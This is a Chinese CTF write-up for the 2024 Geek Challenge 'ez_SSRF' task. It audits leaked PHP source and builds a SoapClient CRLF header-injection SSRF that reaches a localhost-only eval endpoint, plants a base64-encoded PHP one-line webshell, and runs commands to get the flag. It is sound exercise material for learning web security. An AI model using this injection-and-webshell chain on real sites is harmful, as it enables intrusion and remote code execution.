本文最后更新于 2025-04-29T23:48:31+08:00
题目来源:2024第十五届极客大挑战–ez_SSRF

源码中得不到什么信息,用dirsearch
扫描目录

可以扫出/www.zip
文件,访问下载到源码,有如下三个文件

先看看index.php
文件,不过没啥用
1 2 3
| <?php echo "Maybe you should check check some place in my website"; ?>
|
再看看h4d333333.php
文件,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php
error_reporting(0);
if(!isset($_POST['user'])){ $user="stranger"; }else{ $user=$_POST['user']; }
if (isset($_GET['location'])) { $location=$_GET['location']; $client=new SoapClient(null,array( "location"=>$location, "uri"=>"hahaha", "login"=>"guest", "password"=>"gueeeeest!!!!", "user_agent"=>$user."'s Chrome" )); $client->calculator(); echo file_get_contents("result"); }else{ echo "Please give me a location"; }
|
审计代码
POST传参user
,初始会被赋值为stranger
,GET传参location
,然后创建了一个新的 SOAP 客户端实例,其地址就是 GET 传参location
的值,命名空间为hahaha
,连接这个服务的用户名是guest
,密码是gueeeeest!!!!
,设置 HTTP 请求头中的 User-Agent,包含用户名,这里是将POST传参user
的内容和's Chrome
拼接到一起,然后调用 SOAP 服务端的 calculator
方法,读取result
文件的内容并输出
最后就是查看calculator.php
文件,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62
| <?php
$admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";
function check($auth) { global $admin,$adminpass; $auth = str_replace('Basic ', '', $auth); $auth = base64_decode($auth); list($username, $password) = explode(':', $auth); echo $username."<br>".$password; if($username===$admin && $password===$adminpass) { return 1; }else{ return 2; } }
if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){ exit("Hacker"); }
$expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
if(isset($auth)){ if (check($auth)===2) { if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) { die("Invalid expression"); }else{ $result=eval("return $expression;"); file_put_contents("result",$result); } }else{ $result=eval("return $expression;"); file_put_contents("result",$result); } }else{ exit("Hacker"); } ?>
|
审计代码(略……在上面源码里注释了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| if (isset($_GET['location'])) { $location=$_GET['location']; $client=new SoapClient(null,array( "location"=>$location, "uri"=>"hahaha", "login"=>"guest", "password"=>"gueeeeest!!!!", "user_agent"=>$user."'s Chrome" ));
|
在h4d333333.php
中的这部分设置了一系列东西,其中有设置 SOAP 服务的地址location
,然后我们在calculator.php
的源码中可以看到有检查请求客户端的IP代码
1 2 3 4 5
| if($_SERVER['REMOTE_ADDR']!=="127.0.0.1"){ exit("Hacker"); }
|
所以就可以想到SSRF,我们可以在h4d333333.php
创建的实例 SOAP 打SSRF去访问calculator.php
,把location
的值设置为127.0.0.1
就可以绕过客户端 IP 的检测去访问calculator.php
,所以就可以先构造出以下payload
,这里要用 GET 请求
1
| /h4d333333.php?location=http://127.0.0.1/calculator.php
|
在h4d333333.php
中还有一个POST请求的参数user,可以利用SSRF写shell,要POST打SSRF的话,接下来就是找需要提交哪些请求头和值,要注意每个请求头之间要用%0d%0a
进行分隔开来,这个是回车符(\r
)和换行符(\n
)的URL编码形式
首先是要POST传参user
的,值的话随便填写,不是什么奇奇怪怪的就行
然后是正常POST打SSRF需要的请求头Content-Type
,之间用bp抓包后复制粘贴过来
1
| Content-Type: application/x-www-form-urlencoded
|
因为上面要检查客户端的请求 IP ,所以这里可以加上X - Forwarded - For: 127.0.0.1
来伪造IP
1
| X-Forwarded-For: 127.0.0.1
|
然后去看calculator.php
的源码,有一个check
函数检查 HTTP 认证信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| function check($auth) { global $admin,$adminpass; $auth = str_replace('Basic ', '', $auth); $auth = base64_decode($auth); list($username, $password) = explode(':', $auth); echo $username."<br>".$password; if($username===$admin && $password===$adminpass) { return 1; }else{ return 2; } }
|
1 2 3 4
| $expression = $_POST['expression'];
$auth=$_SERVER['HTTP_AUTHORIZATION'];
|
这里要验证登录的用户和密码,给的请求头是Authorization
,在check
函数中会去除
Basic
前缀,还会对其进行 base64 解码,并且使用冒号:
来分隔开用户名和密码,对于admin的用户名和密码早在开头就已经定义好了
1 2 3 4
| $admin="aaaaaaaaaaaadmin";
$adminpass="i_want_to_getI00_inMyT3st";
|
所以经过分析后我们就可以开始构造Authorization
这个请求头了,首先是正常的使用admin的用户名和密码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| if(isset($auth)){ if (check($auth)===2) { if(!preg_match('/^[0-9+\-*\/]+$/', $expression)) { die("Invalid expression"); }else{ $result=eval("return $expression;"); file_put_contents("result",$result); } }else{ $result=eval("return $expression;"); file_put_contents("result",$result); } }else{ exit("Hacker"); }
|
这里一定要用admin的用户名和密码,因为在后面的检查认证信息中是会检查check($auth)
的返回值的,不是admin的会返回2,最终会有检查构造的expression
表达式的,只有符合要求才能被eval
执行,而如果是admin的会返回1,最终是直接执行构造的expression
表达式的,这样我们就可以对这个表达式进行构造恶意的代码从而进行RCE或传shell了
1
| Authorization: aaaaaaaaaaaadmin:i_want_to_getI00_inMyT3st
|
然后是要进行 base64 编码
1
| Authorization: YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
|
最后是要加上Basic
前缀,这里要注意在Basic
后面跟还有一个空格别忘了
1
| Authorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0
|
这个就是最终要构造的Authorization
这个请求头了
然后是要POST传参的expression
,这个是要在后面中的被eval
执行的,可以构造一个恶意代码进行传shell,这个恶意代码可以被执行的前提是满足前面的身份认证,这里使用file_put_contents
函数,写一个后门文件进去,最好加上base64编码可以绕过些限制,这里就是将一句话木马<?php @eval($_POST['cmd']); ?>
写入shell3.php
文件中
1
| expression=file_put_contents('shell3.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='))
|
最后就是正常的POST请求打SSRF需要的请求头Content-Length
,即请求的内容长度,是根据上面构造的expression
来进行构造的
这里有个地方,你会不会疑问为什么这个的长度不包含user
呢,它也是POST传参的呀,为什么不加上它的长度
原因就是这里的Content-Length
记录的是请求网址的POST要传的参,即calculator.php
对要传的参,而user
是h4d333333.php
中的参数,所以不要包含user
的内容长度
至此,综合以上构造的所有的POST打SSRF的内容的payload
如下,要用%0d%0a
分隔开各个请求头
1
| user=abc%0d%0aContent-Type: application/x-www-form-urlencoded%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aAuthorization: Basic YWFhYWFhYWFhYWFhZG1pbjppX3dhbnRfdG9fZ2V0STAwX2luTXlUM3N0%0d%0aContent-Length: 101%0d%0a%0d%0aexpression=file_put_contents('shell3.php', base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjbWQnXSk7Pz4='))
|
然后在h4d333333.php
中发送构造的GET和POST请求,打SSRF

然后访问shell3.php
文件,利用POST参数cmd
进行RCE


1
| SYC{76284c66-4103-4e62-a095-461431bdb852}
|